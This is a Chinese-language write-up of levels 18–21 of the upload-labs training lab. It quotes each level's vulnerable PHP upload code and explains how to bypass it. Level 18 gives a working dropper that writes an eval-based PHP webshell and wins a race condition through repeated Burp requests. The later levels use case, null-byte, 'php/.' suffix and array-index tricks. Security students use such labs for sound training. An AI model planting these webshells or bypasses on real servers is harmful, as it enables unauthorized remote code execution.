upload-labs 18-21
pass-18
从这关开始就需要代码审计了,先看一下源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
这里服务器会先将上传的文件保存下来,然后会和白名单进行对比,如果后缀在白名单之内就会把文件重命名留下,如果不在白名单中unlink就删除文件,这关虽然能用图片马,但并没有文件包含漏洞,所以我们可以用到一个新的方法条件竞争。
这里条件竞争主要是利用它先保存,再判断删除,利用时间差来访问我们上传的php文件,但这里有个问题,因为上传成功了webshell,哪怕连上了还是会很快被删除,,因此我们不能上传一个简单一句话木马,而是上传一个php文件访问它,并且让它来一个新的php文件,这个新的php文件则不会被删除。
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["shell"]);?>');?>
这段代码我们访问到它就会产生一个新的php一句话木马。
这里还有一个问题,上传的php文件我们可能还没访问它就被删除了,所以我们可以利用bp,一直发送这个数据包,只要发送够快,文件就能大概率访问的到,所以线程也要调大一点。
抓到上传的数据包,发送给攻击模块,这里不需要添加payload,设置成无期限重复
这时可以把upload文件夹打开,可以发现上传的php文件,有时候存在,有时候又被删除了,直接浏览器访问upload路径下的php文件刷新,或者用脚本访问,访问成功后,再去访问创建的新的php文件即可。
访问成功,看一下upload文件夹,产生了新的php文件
蚁剑测试一下
pass-19
这关源码有点问题需要修改pass-19目录下的myupload.php
把pass-18的代码做成图片马,因为要使用文件包含漏洞,所以访问路径要修改一下,其它步骤和上关一样,注意一下新的php文件路径就行。
pass-20
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
从源码上可以看出这里并没有强制转为小写,所以可以使用文件名大小写绕过
move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此也可以bp抓包在save_name利用00截断绕过
这里move_uploaded_file()函数会忽略/.
如果我们文件名的后缀改成php/.不会被当成php文件被拦截,就能成功绕过
pass-21
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
看源码我们可以知道
检查了MIME类型
strtolower函数把字符串转换为小写
if (!is_array($file)) {
判断是否为数组,不是数组就会分割file
$ext = end($file);
从数组中拿到最后一个文件名再做一次白名单判断
reset() 函数将指针指向数组中的第一个元素
$file[count($file) - 1]中count()函数获取数组元素个数来获取后缀
$file_name = reset($file) . '.' . $file[count($file) - 1];
让$file[0]为php文件等价于reset($file),$file[2]为jpg等价于end($file)
$file[count($file) - 1]为空
而move_uploaded_file会忽略/.
,所以要在php后缀后面加上/
,就能成功上传php文件。
具体改成下面这样
成功上传